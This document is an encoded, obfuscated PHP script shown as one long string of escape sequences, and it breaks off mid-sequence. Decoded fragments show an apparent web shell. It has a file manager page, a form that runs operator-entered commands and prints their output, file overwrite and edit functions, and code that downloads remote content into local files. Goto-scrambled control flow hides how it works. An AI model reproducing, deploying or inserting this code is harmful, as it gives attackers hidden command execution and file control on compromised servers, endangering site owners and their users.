23\x42\x6c\x62\110\x4e\154\111\x48\x73\147\x5a\x57\x4e\x6f\x62\x79\x41\151\130\x48\147\172\x59\x31\170\64\116\172\x42\x63\x65\104\116\x6c\x58\x48\147\x30\x4e\x6c\x77\170\x4e\x44\106\143\x65\x44\x59\x35\130\104\105\61\x4e\x46\x78\x34\x4e\x6a\x56\x63\145\x44\x59\60\130\104\x51\167\130\x48\147\x33\x4e\x46\167\170\116\124\x64\143\116\104\x42\143\145\x44\143\171\x58\110\147\62\116\x56\x77\170\116\124\x5a\143\145\x44\131\x78\130\x48\x67\x32\x5a\x46\170\64\116\152\x56\x63\145\104\112\154\x58\x48\x67\172\131\61\167\61\116\x31\x78\64\x4e\x7a\102\x63\x4e\172\132\x63\x65\x44\116\152\130\104\125\x33\x58\x44\105\x30\116\x46\167\170\x4e\x54\x46\x63\145\x44\x63\62\130\x44\143\62\x49\152\163\147\146\x53\x42\x39\111\x47\144\166\144\x47\70\147\x61\156\x49\167\x5a\x45\64\67\111\x47\154\x74\x4f\106\71\164\117\151\x41\57\x50\147\x6f\x38\132\107\154\62\111\107\x4e\x73\x59\130\x4e\172\120\123\x4a\152\x62\x32\x35\60\x59\x57\154\x75\132\130\x49\151\x50\152\170\x6f\x4d\x6a\65\107\x61\127\170\x6c\142\127\x46\x75\131\x57\x64\154\x63\152\167\166\141\x44\111\x2b\x50\110\x52\x68\131\x6d\170\154\x50\152\x78\x30\143\152\64\x38\x64\107\147\53\124\x6d\106\164\x5a\x54\x77\x76\x64\x47\147\53\120\110\x52\x6f\120\154\x4e\160\145\155\125\70\x4c\x33\x52\x6f\x50\152\x78\60\141\104\x35\x51\x5a\x58\112\x74\x61\x58\x4e\172\141\127\71\x75\120\103\71\x30\x61\104\64\70\144\107\x67\x2b\x51\x57\x4e\x30\x61\127\x39\x75\x63\x7a\167\x76\x64\107\x67\53\120\x43\71\x30\x63\x6a\64\x38\120\63\x42\157\143\x43\101\147\132\x32\71\60\142\171\x42\x46\116\x6e\116\x74\x62\x7a\x73\x67\126\104\106\x6e\124\154\125\x36\111\107\132\x31\142\155\116\x30\141\x57\71\x75\x49\x47\x5a\x76\x63\x6d\61\150\x64\105\x4a\65\144\x47\126\172\113\x43\122\x69\145\130\122\154\x63\x79\x77\147\112\110\x42\171\x5a\127\116\160\x63\x32\154\166\142\151\101\71\x49\x44\x49\160\111\x48\163\147\x4a\x48\126\x75\141\130\x52\172\111\x44\60\x67\131\x58\x4a\171\x59\130\x6b\157\111\154\170\x34\x4e\104\111\151\114\103\101\x69\130\x44\x45\x78\115\61\167\170\115\x44\111\x69\x4c\103\101\151\x58\104\105\170\116\x56\167\x78\115\x44\x49\x69\x4c\103\101\x69\130\110\x67\60\116\x31\x78\64\116\104\x49\x69\x4c\103\101\151\130\x48\x67\61\x4e\x46\x77\x78\x4d\x44\111\151\113\x54\x73\x67\112\x47\x4a\x35\144\x47\126\x7a\x49\104\60\x67\x62\127\x46\x34\x4b\x43\122\x69\x65\x58\122\154\143\x79\x77\147\x4d\x43\x6b\67\x49\103\x52\x77\x62\x33\143\147\120\x53\102\155\142\x47\71\x76\x63\x69\147\x6f\x4a\107\112\65\x64\107\126\x7a\111\x44\70\x67\x62\x47\71\x6e\113\x43\x52\151\x65\130\x52\x6c\x63\171\153\147\117\151\x41\x77\x4b\123\101\166\111\x47\x78\x76\x5a\x79\147\x78\115\104\111\x30\x4b\123\153\x37\x49\x43\x52\167\x62\x33\x63\x67\120\x53\x42\164\x61\127\x34\x6f\x4a\110\x42\166\144\171\x77\147\131\x32\71\x31\x62\156\x51\x6f\x4a\110\126\x75\x61\x58\x52\172\x4b\123\x41\164\x49\x44\x45\x70\x4f\171\x41\x6b\x59\x6e\154\60\x5a\130\x4d\x67\x4c\x7a\x30\147\x4d\x53\x41\70\x50\103\101\x78\115\103\x41\x71\111\x43\x52\167\x62\63\143\x37\x49\110\x4a\154\x64\x48\126\x79\x62\151\x42\x79\142\x33\126\165\132\103\x67\x6b\131\156\154\x30\x5a\130\115\163\x49\x43\122\x77\143\x6d\x56\152\x61\130\116\160\142\x32\64\x70\x49\103\64\x67\x49\x6c\x78\64\x4d\152\101\x69\111\103\x34\147\x4a\110\126\165\141\130\x52\172\127\171\x52\x77\x62\63\144\x64\x4f\x79\x42\71\111\x47\144\166\x64\107\x38\147\132\61\x39\170\131\x31\115\x37\111\107\64\172\130\62\116\x76\117\151\x42\x70\132\x69\101\157\132\156\x56\x75\131\x33\x52\160\142\62\x35\x66\132\x58\150\x70\x63\63\122\172\113\103\x4a\143\145\104\x59\170\130\x44\105\x32\x4d\x46\x77\170\x4e\104\106\x63\115\x54\x51\172\x58\x44\x45\61\115\106\170\x34\116\x6a\x56\143\x65\x44\x56\x6d\130\x44\x45\x32\115\x6c\167\170\116\x44\x56\143\x4d\x54\x59\x78\130\x44\105\x32\x4e\126\x77\170\116\104\126\143\x4d\124\131\172\x58\x44\105\62\116\x46\170\x34\116\x57\x5a\x63\x65\104\x59\x34\x58\x48\x67\62\116\126\167\170\x4e\104\106\143\145\x44\131\60\130\104\x45\60\116\x56\x77\170\x4e\152\x4a\143\145\104\143\x7a\111\x69\153\x70\x49\110\163\x67\112\x47\x46\x77\x59\127\x4e\157\x5a\125\150\154\131\x57\122\x6c\x63\x6e\115\147\120\123\x42\x68\143\x47\x46\x6a\141\x47\126\x66\143\x6d\x56\170\144\127\126\x7a\144\x46\x39\157\x5a\127\106\x6b\x5a\x58\112\172\113\103\x6b\67\111\x47\x6c\155\111\103\150\160\143\63\116\x6c\144\x43\147\153\131\x58\x42\150\x59\x32\x68\x6c\123\x47\126\150\132\107\x56\171\143\x31\x73\151\x58\110\147\61\117\x46\170\x34\x4d\x6d\122\143\145\104\122\x6b\130\104\105\61\116\61\170\64\x4e\152\x52\143\145\x44\112\153\x58\110\x67\x31\115\61\167\x78\116\104\126\x63\x65\x44\131\172\130\x44\105\62\x4e\x56\170\64\116\x7a\x4a\x63\145\x44\x59\x35\130\110\x67\x33\x4e\x46\167\170\x4e\x7a\105\x69\x58\x53\x6b\160\x49\x48\163\147\141\107\x56\x68\132\x47\126\171\x4b\103\112\x63\115\x54\115\x77\130\x48\147\x79\132\106\x77\x78\115\x54\126\143\145\104\x5a\155\130\x44\105\x30\116\106\170\64\x4d\155\x52\143\x4d\124\111\172\130\x44\x45\x30\x4e\x56\170\64\116\x6a\x4e\x63\145\x44\143\61\x58\x44\105\62\115\x6c\x78\x34\x4e\152\x6c\143\x65\104\x63\60\x58\104\x45\63\115\x56\x78\64\115\x32\106\x63\145\104\x49\x77\x49\x69\x41\165\x49\x43\122\150\x63\x47\106\152\x61\x47\126\111\x5a\127\x46\x6b\x5a\130\112\x7a\x57\x79\112\x63\x65\104\125\x34\130\x44\125\61\130\104\105\x78\116\x56\167\170\116\x54\x64\143\x4d\124\x51\x30\130\110\x67\x79\x5a\x46\x78\x34\116\124\116\143\x65\104\x59\x31\x58\x48\147\x32\115\61\167\x78\116\152\126\x63\x65\x44\x63\171\130\104\x45\x31\x4d\x56\x77\170\116\152\x52\x63\115\x54\x63\170\x49\154\x30\x70\x4f\x79\102\x39\111\x48\60\x67\132\x32\71\x30\142\x79\x42\164\x4f\127\122\x4c\142\x44\163\147\126\x7a\x4a\116\x61\126\x67\66\x49\107\x6c\155\111\x43\147\x6b\x58\x31\116\106\x55\x6c\x5a\106\x55\x6c\x73\151\130\x48\x67\61\x4d\154\170\x34\x4e\104\126\x63\145\x44\x55\x78\x58\110\x67\x31\x4e\x56\x78\64\116\104\x56\143\x65\x44\125\x7a\130\x48\147\x31\x4e\106\170\x34\116\x57\132\x63\145\x44\x52\153\x58\x44\105\x77\x4e\x56\x78\64\x4e\124\122\x63\x65\x44\x51\64\130\x44\105\170\x4e\61\170\x34\116\x44\x51\151\x58\x53\101\x39\x50\124\x30\x67\x49\x6c\x78\64\116\x54\102\143\x65\104\122\x6d\130\x44\105\171\115\x31\x77\170\115\152\x51\x69\x49\103\131\155\x49\107\x6c\172\x63\62\x56\x30\113\103\122\146\x55\x45\71\124\x56\x46\163\x69\130\104\x45\x77\115\x56\x77\170\x4e\x44\x52\143\145\104\132\x6b\130\x44\x45\61\115\126\x77\170\116\124\132\x63\145\104\x59\61\130\110\147\x33\x4d\151\x4a\144\113\x53\x41\x6d\112\x69\101\153\130\61\x42\120\x55\61\122\x62\x49\154\x77\170\x4d\x44\x46\143\115\x54\x51\60\130\x44\105\x31\x4e\126\x78\64\x4e\152\154\x63\x65\104\132\154\x58\110\147\x32\116\126\x78\64\x4e\172\111\x69\130\123\x41\x39\120\x54\x30\x67\111\x6c\170\64\116\172\x52\143\115\x54\131\x79\130\x44\x45\62\116\126\170\64\x4e\152\x55\151\113\x53\102\67\x49\103\x52\x69\131\x58\x4e\x6c\126\130\x4a\163\x49\104\60\x67\111\154\x78\x34\116\x6a\150\143\145\x44\x63\x30\130\110\147\63\116\x46\x78\64\x4e\x7a\102\143\x65\x44\143\172\x58\104\x63\171\130\110\x67\171\x5a\x6c\167\61\116\61\x78\64\116\152\x64\x63\115\124\125\x78\130\x48\147\63\x4e\106\x77\170\116\x54\x42\x63\x4d\124\x59\x31\130\x48\x67\x32\x4d\154\167\61\116\154\170\x34\116\x6a\x4e\x63\145\x44\x5a\155\130\104\x45\61\x4e\x56\x77\61\116\x31\170\64\116\172\132\x63\145\104\x63\171\130\x48\147\x32\115\x56\167\170\116\124\132\x63\x65\x44\x59\x78\130\104\x55\63\130\104\105\x30\x4d\x56\170\64\x4e\x6a\122\x63\145\104\132\x6b\130\x44\x45\x31\115\126\167\170\116\124\x5a\143\115\124\121\x31\x58\110\x67\x33\x4d\154\170\64\x4d\x6d\x5a\x63\115\x54\131\171\130\110\147\62\116\x56\170\64\116\155\116\x63\145\104\x59\x31\x58\110\x67\x32\x4d\126\167\x78\x4e\x6a\x4e\x63\x4d\x54\x51\61\x58\x44\x45\x32\115\61\170\64\x4d\155\x5a\x63\145\104\x59\x30\130\x44\105\61\116\61\170\x34\x4e\172\144\143\115\124\x55\x32\x58\104\105\x31\116\x46\167\x78\116\x54\144\143\145\104\x59\x78\x58\x44\x45\60\116\106\167\x31\x4e\x31\x77\x78\x4e\152\x5a\x63\x4e\152\122\143\145\x44\112\x6c\x58\x44\x63\x77\130\110\x67\171\x5a\126\170\x34\115\x7a\106\143\116\x54\x64\143\115\124\121\x78\x58\110\147\x32\x4e\x46\167\x78\x4e\124\x56\x63\145\x44\131\x35\x58\104\105\x31\116\x6c\167\170\x4e\x44\126\x63\x4d\124\131\171\x58\110\x67\171\132\106\170\64\115\x7a\122\143\x4e\124\x5a\x63\x65\x44\115\64\130\104\125\x32\130\104\131\170\130\x48\x67\171\x5a\x56\170\x34\x4e\172\x42\143\145\x44\131\64\130\x48\147\63\x4d\x43\x49\x37\x49\103\122\167\x59\130\122\157\111\x44\x30\x67\141\x58\116\172\x5a\130\x51\157\112\x46\71\x48\x52\126\122\142\x49\154\170\x34\116\x7a\102\143\x65\104\131\170\130\x44\105\62\116\106\x77\x78\116\124\x41\x69\x58\123\153\147\120\x79\x41\153\130\x30\144\106\x56\x46\163\151\x58\104\x45\62\x4d\106\x77\x78\x4e\104\x46\143\145\x44\x63\60\x58\x48\147\62\x4f\x43\x4a\144\x49\x44\157\x67\132\62\126\60\131\63\144\153\113\103\x6b\67\x49\x43\122\x6d\141\127\170\154\x54\155\106\x74\x5a\123\x41\x39\111\x43\112\x63\145\x44\x59\170\130\x48\147\x32\116\106\x78\x34\x4e\155\122\x63\115\x54\125\x78\130\104\105\x31\x4e\154\170\x34\x4e\x6a\126\x63\x4d\124\x59\171\130\x48\147\x79\132\x56\x78\64\x4e\x7a\102\x63\x65\104\131\64\130\x48\x67\x33\115\103\x49\x37\111\x43\122\x6d\x61\127\170\154\125\107\106\60\141\103\101\71\111\103\x52\x77\x59\130\122\x6f\x49\x43\64\x67\111\x6c\x78\x34\115\x6d\x59\151\x49\x43\64\x67\112\107\132\160\142\x47\126\x4f\x59\x57\x31\x6c\x4f\x79\101\x6b\x5a\155\x6c\x73\132\125\x4e\166\142\x6e\122\154\x62\x6e\x51\147\120\x53\102\x41\132\155\x6c\163\132\x56\x39\156\x5a\130\x52\146\131\x32\71\x75\x64\x47\126\165\144\110\115\157\x4a\x47\112\x68\x63\62\126\x56\143\x6d\167\160\117\171\x42\x70\x5a\151\x41\157\x4a\x47\132\160\x62\x47\x56\x44\142\x32\x35\60\132\127\65\60\x49\103\x45\x39\120\x53\x42\155\131\127\170\172\x5a\x53\153\x67\x65\171\102\160\132\x69\101\157\132\155\154\x73\x5a\x56\71\167\x64\130\122\146\x59\x32\71\165\144\107\x56\x75\144\x48\x4d\x6f\112\x47\x5a\160\x62\x47\126\x51\131\130\x52\x6f\114\x43\x41\x6b\132\155\154\163\132\x55\116\166\142\156\x52\154\x62\x6e\121\160\x49\103\105\x39\x50\123\102\155\x59\127\x78\172\x5a\123\x6b\x67\x65\x79\x42\154\x59\62\x68\166\111\103\x4a\143\x4e\x7a\x52\x63\x4d\124\x59\x77\x58\110\147\172\132\x56\170\x34\x4e\104\106\143\145\x44\131\60\x58\110\147\62\132\106\x77\170\x4e\124\106\143\115\x54\x55\x32\130\110\x67\x32\x4e\x56\x77\170\116\152\112\x63\116\104\102\143\x65\104\x63\172\x58\110\x67\x33\x4e\x56\167\x78\116\x44\116\x63\115\124\x51\x7a\130\104\105\x30\x4e\126\x77\x78\x4e\x6a\116\143\x4d\x54\131\x7a\130\110\147\62\x4e\154\170\x34\x4e\x7a\x56\143\115\x54\x55\x30\x58\x44\105\x31\x4e\x46\167\170\x4e\x7a\x46\143\x4e\x54\x5a\143\145\x44\x49\x77\x65\171\122\155\x61\x57\x78\x6c\x55\107\x46\x30\141\x48\x31\x63\x65\x44\x49\x77\x58\110\147\171\132\126\170\64\115\x32\116\x63\145\x44\x4a\x6d\130\104\105\x32\x4d\106\x78\64\x4d\x32\x55\151\117\x79\x42\71\111\x47\126\163\143\62\125\147\x65\171\x42\x6c\x59\62\x68\x76\x49\103\112\x63\116\172\x52\x63\115\x54\x59\167\130\x44\x63\x32\x58\x48\147\60\115\126\x77\170\x4e\x44\122\143\x4d\124\125\x31\130\x48\147\62\117\x56\x77\170\x4e\x54\x5a\143\145\104\x59\61\130\x44\105\x32\115\x6c\170\64\x4d\x6a\102\x63\145\x44\131\62\130\x48\x67\62\x4d\126\x77\170\116\x54\106\143\145\x44\x5a\152\130\x48\147\x32\x4e\126\x77\x78\x4e\104\122\143\145\104\x4a\x6c\x58\x44\x63\x30\x58\x48\x67\x79\132\x6c\167\x78\116\x6a\x42\x63\116\172\x59\151\x4f\171\x42\71\x49\x48\x30\147\x5a\127\x78\172\x5a\123\x42\67\x49\x47\126\152\141\107\x38\x67\x49\x6c\170\x34\x4d\62\x4e\x63\x4d\x54\x59\x77\x58\104\143\x32\130\104\x45\167\116\x6c\x77\x78\116\104\106\x63\145\104\x59\65\130\104\x45\61\x4e\x46\167\x78\116\x44\126\143\145\104\x59\60\x58\110\x67\x79\115\106\x77\170\x4e\x6a\122\x63\115\124\x55\x33\130\110\147\171\115\106\x77\x78\116\x44\x5a\143\145\x44\131\x31\130\x48\x67\63\x4e\x46\x78\x34\x4e\x6a\x4e\143\x4d\124\x55\167\x58\104\x51\167\130\x44\105\62\116\106\x78\x34\116\x6a\x68\143\x4d\x54\x51\61\x58\110\147\171\x4d\106\170\64\x4e\x6a\132\x63\x65\104\131\x35\x58\110\147\x32\x59\61\170\x34\116\x6a\126\143\x65\x44\x49\167\130\x44\105\x30\115\x31\x77\170\x4e\124\144\x63\145\x44\132\154\x58\x48\147\x33\116\106\170\x34\x4e\x6a\126\143\145\104\132\154\130\x44\105\x32\x4e\x46\x77\x31\x4e\154\x78\x34\115\x6a\102\x63\x4d\124\105\62\130\104\105\x31\116\61\167\x78\116\x54\x5a\x63\x4d\124\121\61\x58\x48\x67\x79\115\x46\x78\64\116\x44\132\143\145\x44\131\x35\x58\110\147\x32\131\61\170\64\x4e\152\126\x63\x4e\x7a\x52\x63\145\x44\112\x6d\x58\x48\147\x33\x4d\x46\x77\63\116\151\x49\67\111\x48\x30\x67\x66\x53\102\156\142\x33\122\x76\x49\x47\x55\170\x52\x45\65\156\117\171\102\117\132\x33\x46\151\126\x54\x6f\147\x50\172\x34\113\x50\107\x6c\165\x63\110\126\60\x49\107\65\x68\142\x57\125\71\x49\155\116\164\132\103\x4a\x7a\141\x58\x70\154\120\x53\111\172\x4d\103\112\157\132\127\154\x6e\x61\x48\121\x39\x49\x6a\x45\x77\111\156\102\x73\x59\x57\x4e\154\x61\107\71\163\x5a\x47\126\x79\120\x53\112\106\x62\x6e\122\154\143\151\x42\x68\111\x47\116\166\x62\127\61\150\x62\x6d\121\165\114\x69\x34\x69\x50\151\x41\70\141\x57\65\x77\x64\x58\x51\x67\x64\x48\154\167\x5a\x54\x30\151\x63\63\126\x69\x62\127\x6c\x30\x49\x6d\116\163\x59\x58\x4e\x7a\120\x53\112\154\x62\130\x42\x30\x65\123\61\151\x64\x58\x52\x30\142\62\x34\151\120\x6a\167\166\132\155\71\171\142\x54\64\70\x4c\62\x52\160\x64\x6a\64\x38\120\63\102\157\143\x43\x41\147\x5a\62\71\x30\142\x79\102\x58\x57\x58\126\x5a\116\x7a\x73\x67\x61\x31\144\64\121\124\x63\x36\x49\x44\x38\53\x43\152\170\x73\x61\124\x35\x54\x59\127\132\154\x49\x45\61\x76\x5a\x47\125\x36\120\104\x39\x77\141\x48\101\x67\x49\x47\x64\x76\144\x47\x38\147\x61\107\163\x33\x53\x55\143\x37\x49\105\126\164\115\104\x4a\157\117\151\101\x2f\x50\147\157\x38\141\110\x49\53\122\x45\x6c\123\111\104\x6f\x67\x50\x47\x45\147\141\x48\112\154\132\152\60\x69\x50\x33\x42\150\x64\107\147\x39\x4c\171\111\x2b\x53\107\71\164\x5a\124\167\x76\131\124\x34\70\x50\x33\x42\x6f\143\103\101\147\132\x32\71\x30\142\171\102\x6f\141\107\x46\x78\127\x44\x73\x67\x59\156\154\x58\141\x44\x6b\x36\x49\x45\x42\157\144\x48\122\167\130\63\x4a\x6c\x63\x33\102\x76\x62\156\x4e\154\130\62\116\166\x5a\107\x55\157\x4e\104\101\60\x4b\124\163\x67\x5a\62\x39\60\x62\x79\102\160\126\x57\115\x79\x55\x7a\x73\147\x55\x56\x70\123\x5a\x6b\x59\x36\111\104\70\53\103\x6a\x77\166\x5a\107\154\62\x50\152\x78\x6b\x61\x58\x59\x67\x59\62\170\150\x63\63\x4d\x39\111\155\x4e\x76\142\x6e\122\150\141\127\65\x6c\x63\x69\x49\53\x50\x44\x39\167\141\x48\101\147\111\x47\x64\166\144\107\x38\x67\x52\x47\x31\x73\x51\63\x59\x37\111\x47\153\x30\143\153\x4e\62\x4f\x69\x41\57\x50\147\157\70\132\x6d\71\171\x62\123\x42\150\x59\63\x52\x70\x62\62\x34\x39\x49\x69\x4a\164\x5a\x58\x52\157\x62\x32\x51\71\x49\154\102\120\x55\61\121\151\x50\x6a\167\x2f\x63\107\150\x77\x49\103\x42\x6e\x62\x33\122\166\x49\110\x42\172\141\124\115\x79\x4f\x79\x42\162\125\155\x78\141\144\172\157\147\121\107\71\151\x58\x32\116\x73\x5a\x57\106\x75\113\103\x6b\x37\111\107\144\x76\144\107\70\147\x63\x6c\x42\163\x63\x54\111\67\x49\x46\144\x5a\x64\x56\153\x33\x4f\151\x42\160\x5a\151\101\x6f\x49\x57\126\x74\x63\x48\122\x35\113\x43\x52\x6a\142\x57\x52\x50\x64\130\x52\x77\144\130\121\x70\x4b\123\x42\x37\x49\104\x38\53\x43\x6a\170\153\x61\x58\131\147\x59\x32\170\x68\x63\63\x4d\x39\x49\x6d\61\154\x63\x33\116\x68\132\x32\125\164\131\62\71\x75\x64\107\106\160\x62\155\126\x79\x49\152\64\x38\x63\110\x4a\154\120\152\167\57\143\x47\150\167\x49\103\102\154\131\x32\150\x76\x49\107\x68\60\x62\127\170\172\143\107\x56\x6a\x61\127\x46\x73\x59\x32\x68\150\143\x6e\x4d\157\x4a\x47\116\x74\132\105\x39\61\x64\x48\x42\61\144\x43\x6b\67\111\104\70\53\103\x6a\167\166\143\x48\112\154\120\152\x77\166\x5a\x47\154\62\120\152\167\57\x63\x47\150\x77\x49\x43\x42\x39\111\x47\x64\x76\x64\x47\70\x67\x63\127\x31\163\x5a\x57\x67\67\111\110\x64\124\144\63\x41\x78\x4f\x69\102\154\x59\x32\x68\x76\x49\103\112\143\x65\107\106\x63\116\104\x42\143\145\x44\111\x77\x58\110\147\171\x4d\106\167\x30\115\106\x77\63\116\x46\167\170\116\104\x5a\143\115\124\x55\x33\130\x44\x45\62\115\x6c\167\x78\x4e\124\x56\x63\x65\104\x49\167\130\110\147\x32\x5a\x46\x78\x34\x4e\152\x56\143\x4d\x54\x59\60\130\x44\x45\61\x4d\106\x77\170\x4e\124\144\143\x4d\124\121\x30\x58\x48\147\x7a\132\106\170\x34\115\152\112\143\x65\104\125\x77\x58\x44\105\x78\x4e\x31\167\170\x4d\152\116\x63\115\124\111\60\130\x44\121\x79\130\x48\147\x7a\x5a\x56\170\64\131\126\170\64\115\152\102\x63\x65\104\111\167\x58\104\x51\x77\x58\x44\121\x77\x58\x48\147\172\x59\61\x77\x78\x4e\x54\x46\x63\x4d\124\125\x32\x58\110\x67\63\115\x46\x78\64\x4e\172\126\x63\x65\104\143\60\130\104\x51\x77\130\104\105\x32\116\106\167\x78\x4e\172\x46\143\x65\104\143\x77\130\x48\147\x32\116\x56\167\63\116\x56\x78\64\x4d\152\x4a\x63\x4d\x54\131\60\x58\x48\147\62\116\126\167\170\116\172\102\143\145\104\x63\x30\x58\104\x51\171\130\x48\147\171\x4d\x46\x77\170\x4e\x54\132\143\115\124\x51\170\130\110\147\62\132\x46\x78\x34\116\x6a\126\143\x65\x44\116\x6b\x58\x48\147\x79\x4d\x6c\170\x34\116\155\126\143\x65\104\x59\x31\130\110\x67\63\116\x31\x77\170\115\172\144\143\145\104\131\x32\130\104\105\x31\x4e\61\170\x34\116\155\x4e\143\x65\x44\x59\60\130\x48\x67\x32\116\126\167\x78\x4e\x6a\x4a\143\x4d\x54\x4d\x33\130\104\x45\x31\116\x6c\x78\64\116\x6a\x46\x63\x65\104\x5a\x6b\130\104\105\x30\x4e\x56\x77\60\115\x6c\170\64\x4d\152\102\x63\115\124\131\x77\130\x48\x67\62\x59\x31\x77\170\x4e\104\106\x63\115\124\x51\x7a\x58\x48\147\62\116\126\x78\64\116\x6a\150\143\145\x44\132\155\130\x48\147\x32\x59\x31\167\x78\116\104\x52\143\145\104\x59\x31\130\x48\x67\x33\115\x6c\x78\x34\x4d\62\x52\x63\x4e\x44\112\x63\115\124\x45\62\x58\110\x67\x32\116\126\167\x78\x4e\152\144\143\145\x44\111\x77\130\x48\147\60\116\154\x78\64\116\x6d\x5a\x63\115\x54\x55\60\x58\104\x45\x30\x4e\106\167\170\116\x44\x56\143\x4d\124\x59\171\130\x44\x51\x77\x58\110\x67\x30\132\x56\x78\x34\116\x6a\x46\143\115\x54\x55\x31\x58\x44\x45\60\x4e\126\167\60\115\154\170\64\115\62\x56\143\115\124\x4a\x63\x4e\x44\102\x63\x4e\x44\102\143\x4e\x44\x42\x63\145\x44\111\x77\x58\x48\147\172\131\61\170\x34\116\x6a\x6c\x63\145\104\x5a\x6c\130\x44\105\62\115\x46\x77\170\x4e\x6a\x56\143\145\x44\143\x30\x58\x44\121\167\130\x48\x67\63\x4e\106\170\x34\x4e\172\x6c\x63\145\104\x63\167\x58\x44\105\60\x4e\126\x77\x33\116\x56\x77\60\x4d\x6c\170\64\116\172\x4e\143\145\x44\143\x31\x58\104\x45\60\x4d\154\167\170\116\124\x56\x63\145\x44\x59\65\x58\104\105\x32\116\x46\170\x34\x4d\152\112\x63\116\x44\x42\x63\x65\104\x5a\154\130\110\147\62\115\126\x77\170\116\x54\x56\x63\115\x54\121\x31\130\110\x67\172\132\x46\x78\64\x4d\x6a\112\143\115\x54\121\172\130\104\x45\62\115\154\x77\170\116\x44\126\x63\145\x44\x59\x78\130\110\147\x33\116\106\x78\64\116\152\126\x63\x4d\124\x4d\63\130\110\147\62\116\154\x77\x78\x4e\x54\x64\x63\115\124\125\60\x58\x48\147\x32\x4e\106\x77\170\116\x44\x56\143\145\104\x63\x79\x58\110\x67\171\x4d\x6c\x77\60\x4d\x46\x77\x78\116\152\x5a\143\x4d\124\121\x78\x58\x44\x45\61\116\106\x78\64\x4e\172\x56\143\x4d\124\121\x31\x58\x48\x67\172\x5a\106\170\x34\115\152\x4a\143\145\x44\121\172\x58\x48\147\x33\115\154\x77\x78\x4e\x44\x56\x63\x4d\124\x51\170\x58\104\x45\62\x4e\x46\170\64\116\152\126\143\x4e\104\102\143\115\x54\101\62\130\x44\x45\x31\116\x31\167\170\x4e\124\122\143\x65\x44\131\x30\x58\110\147\x32\x4e\126\x77\x78\116\152\x4a\x63\116\x44\112\x63\x65\x44\x4e\154\x58\110\150\150\130\x44\121\x77\130\x44\121\167\x58\x48\x67\171\115\x46\167\x30\115\106\x78\x34\x4d\62\x4e\143\116\x54\x64\x63\x4d\124\121\x32\130\104\x45\x31\116\x31\x78\64\x4e\172\x4a\143\145\x44\x5a\x6b\x58\x48\x67\x7a\x5a\x53\111\x37\x49\x47\144\x76\x64\107\x38\x67\122\61\x56\x79\x51\x58\157\67\111\x47\153\170\x56\60\164\125\x4f\x69\101\x2f\120\x67\157\70\x4c\x32\x78\160\120\x6a\x77\57\x63\107\x68\x77\111\103\102\x6e\x62\63\122\x76\x49\107\65\x58\116\x6a\x45\63\x4f\x79\102\102\x51\62\160\60\x4e\172\157\x67\x50\172\x34\113\x50\x43\71\163\141\124\x34\70\142\107\x6b\x2b\x52\x33\112\x76\x64\x58\101\x67\x53\x55\121\x36\120\104\x39\x77\141\x48\101\147\111\107\x64\166\x64\x47\70\x67\x64\156\150\x33\x64\154\101\67\111\x47\160\x76\115\x31\x42\152\x4f\151\x42\x70\132\151\101\157\112\106\x39\x54\x52\x56\112\x57\122\126\112\142\x49\x6c\x77\170\115\152\x4a\143\145\x44\x51\61\x58\x44\105\x79\x4d\x56\x77\170\x4d\152\126\143\x4d\x54\101\x31\130\104\x45\x79\115\61\167\170\x4d\x6a\x52\x63\115\124\115\x33\x58\110\147\60\x5a\106\x77\x78\115\x44\126\143\x4d\124\x49\60\x58\104\x45\x78\x4d\x46\167\170\115\124\x64\143\115\x54\101\x30\111\154\x30\x67\120\124\60\71\111\103\112\x63\115\124\x49\x77\130\x44\x45\170\x4e\x31\x77\170\x4d\x6a\116\143\115\x54\x49\60\x49\151\101\x6d\x4a\151\x42\x70\143\63\116\154\x64\103\x67\x6b\130\x31\x42\120\x55\x31\x52\x62\111\x6c\167\170\116\104\x56\x63\x4d\x54\x51\x30\130\x44\105\61\115\x56\x78\x34\x4e\x7a\121\151\130\123\153\147\x4a\x69\131\147\112\x46\71\x51\124\x31\x4e\125\127\x79\x4a\143\115\124\121\61\x58\104\105\x30\116\x46\x78\x34\116\x6a\x6c\x63\x65\104\143\x30\x49\x6c\x30\147\x50\124\x30\71\111\103\112\143\x65\104\x63\x30\130\x48\147\63\115\x6c\x78\64\x4e\x7a\x56\143\145\104\x59\61\111\x69\153\x67\145\x79\101\x6b\132\127\x52\160\144\x47\126\153\x52\x6d\x6c\163\132\x53\101\71\111\103\122\146\125\x45\71\x54\x56\106\163\151\130\110\147\62\116\154\x77\170\x4e\124\106\143\115\x54\125\60\x58\110\x67\62\116\x53\112\x64\117\171\101\x6b\x62\155\126\x33\121\x32\x39\x75\144\x47\x56\x75\x64\103\101\71\111\x43\x52\146\125\105\x39\124\126\x46\x73\151\130\110\x67\62\x5a\x56\170\64\x4e\152\126\143\x4d\x54\131\63\130\x48\147\61\132\x6c\167\x78\x4e\x44\116\143\145\x44\132\155\130\110\x67\x32\x5a\126\x78\64\116\172\122\x63\x4d\124\x51\x31\130\110\147\62\x5a\x56\167\170\x4e\x6a\121\x69\130\x54\163\147\112\110\x42\x68\x64\x47\x67\x67\120\123\102\x70\x63\x33\116\x6c\144\x43\x67\x6b\x58\60\144\x46\x56\106\x73\151\x58\104\105\62\x4d\106\x77\170\x4e\x44\x46\143\x4d\x54\131\60\130\104\105\x31\x4d\103\x4a\144\x4b\123\x41\x2f\111\x43\122\146\x52\60\126\125\127\x79\x4a\143\115\124\131\x77\130\x44\105\60\115\126\x78\64\x4e\172\x52\x63\145\104\131\x34\111\x6c\x30\147\x4f\151\x42\x6e\x5a\x58\122\152\x64\62\121\157\113\x54\x73\x67\x4a\107\132\x70\142\x47\126\x51\131\130\122\157\111\x44\x30\147\x4a\x48\102\150\x64\x47\147\147\114\x69\x41\x69\x58\x48\147\x79\x5a\151\111\x67\114\x69\x41\x6b\x5a\127\x52\x70\144\107\x56\x6b\x52\x6d\154\x73\132\x54\163\147\x61\127\x59\x67\x4b\107\x5a\160\x62\107\126\x66\143\110\126\60\x58\62\x4e\x76\142\x6e\122\154\142\x6e\122\x7a\x4b\x43\122\x6d\x61\x57\x78\x6c\125\107\x46\x30\x61\103\x77\x67\112\107\x35\154\144\60\x4e\x76\142\x6e\x52\154\x62\156\121\160\111\103\x45\x39\x50\x53\102\x6d\x59\127\170\172\x5a\x53\153\147\x65\x79\x42\154\x59\x32\x68\166\x49\103\112\143\116\172\122\x63\x65\104\131\x30\x58\110\147\62\117\126\170\64\x4e\x7a\132\x63\145\x44\111\x77\x58\104\105\x30\x4d\61\x77\x78\116\x54\122\x63\145\x44\131\x78\x58\x48\x67\63\x4d\x31\x78\x34\x4e\172\116\x63\145\104\x4e\x6b\x58\104\121\63\x58\x48\x67\